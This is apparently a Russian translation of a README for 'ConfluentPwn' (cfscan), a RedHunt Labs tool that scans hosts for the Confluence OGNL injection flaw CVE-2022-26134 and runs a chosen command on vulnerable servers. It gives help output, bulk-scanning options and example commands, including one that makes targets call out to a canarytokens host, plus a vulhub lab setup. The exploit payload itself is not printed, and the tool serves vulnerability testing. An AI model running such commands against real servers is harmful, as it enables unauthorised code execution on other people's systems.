
Сканер неавторизованной ONGL-инъекции и удалённого выполнения кода в Atlassian Confluence (CVE-2022-26134).
Сканер удалённого выполнения кода через внедрение ONGL без аутентификации в Confluence (CVE-2022-26134).
На GIF ниже показано демонстрационное использование инструмента:

Вот вывод справки инструмента:
$ ./cfscan -h
+-------------------------------+
| C O N F L U E N T P W N |
+-------------------------------+
[+] ConfluentPwn by RedHunt Labs - A Modern Attack Surface (ASM) Management Company
[+] Author: Pinaki Mondal (RHL Research Team)
[+] Continuously Track Your Attack Surface using https://redhuntlabs.com/nvadr.
Usage:
-cmd string
Command to execute on a vulnerable confluence server. (default "id")
-file string
Specify a file containing list of hosts to scan.
-output string
Output filepath to write the scan results into. (default "cfpwn-results.csv")
-regex string
Regex to match the response header for the command executed.
-threads int
Number of threads to use while scanning. (default 20)
-timeout int
HTTP timeout in seconds. (default 5)
-user-agent string
Custom user-agent string to use. (default "Mozilla/5.0 (ConfluentPwn) Chrome/95.0.4638.69 Safari/537.36")
Examples:
./cfscan 1.2.3.4:80 1.1.1.1:8080
./cfscan -file urls.txt
./cfscan -cmd 'nslookup xxxxxxxxxxxxxxxxx.canarytokens.com 1.1.1.1:80'
./cfscan -cmd 'ps' -regex '^\s*PID\s*TTY\s*TIME\s*CMD' http://1.1.1.1:443
Цели можно указать двумя способами:
./cfscan target1 target2 ...
-file.
./cfscan -file targets.txt
Максимальное количество одновременно обрабатываемых целей можно задать с помощью аргумента -threads. Значение параллельности по умолчанию — 20.
Значение HTTP-тайм-аута в секундах можно указать с помощью аргумента -timeout. По умолчанию тайм-аут установлен на 5 секунд.
Пользовательский user-agent можно указать с помощью флага -user-agent, если нужно отслеживать строки UA в логах.
Создаваемый результат записывается в CSV-файл, путь к которому можно указать с помощью флага -output. По умолчанию создаётся файл cfscan-results.csv.
Вывод содержит 4 столбца:
Команду, которую нужно выполнить на уязвимом сервере, можно указать с помощью аргумента -cmd. Регулярное выражение для сопоставления с выводом команды задаётся с помощью флага -regex.
По умолчанию выполняется команда id, а регулярное выражение для сопоставления с выводом команды выглядит так: uid=\d+?\(\w+?\)\s*?gid=\d+?\(\w+?\)\s*groups=\d+?\(\w+?\).
Совместное использование флагов выглядит так:
./cfscan -cmd 'id' -regex 'uid=\d+?\(\w+?\)\s*?gid=\d+?\(\w+?\)\s*groups=\d+?\(\w+?\)' https://1.1.1.1
./cfscan -cmd 'ps' -regex '^\s*PID\s*TTY\s*TIME\s*CMD' http://1.1.1.1:443
Если вы хотите протестировать инструмент или саму уязвимость, вы можете обратиться к этому: https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134.
Процесс установки довольно прост, следующие команды сделают всё необходимое:
$ mkdir confluentpwn && cd confluentpwn && wget https://raw.githubusercontent.com/vulhub/vulhub/master/confluence/CVE-2022-26134/docker-compose.yml
$ docker-compose up -d
Теперь приложение должно быть доступно по адресу http://localhost:8090.
Инструмент распространяется по лицензии MIT. См. LICENSE. Сейчас инструмент находится на версии v0.1.
Исследовательская группа RedHunt Labs благодарит vulhub за предоставление тестового docker-образа.
Чтобы узнать больше о нашей платформе управления поверхностью атак, ознакомьтесь с NVADR.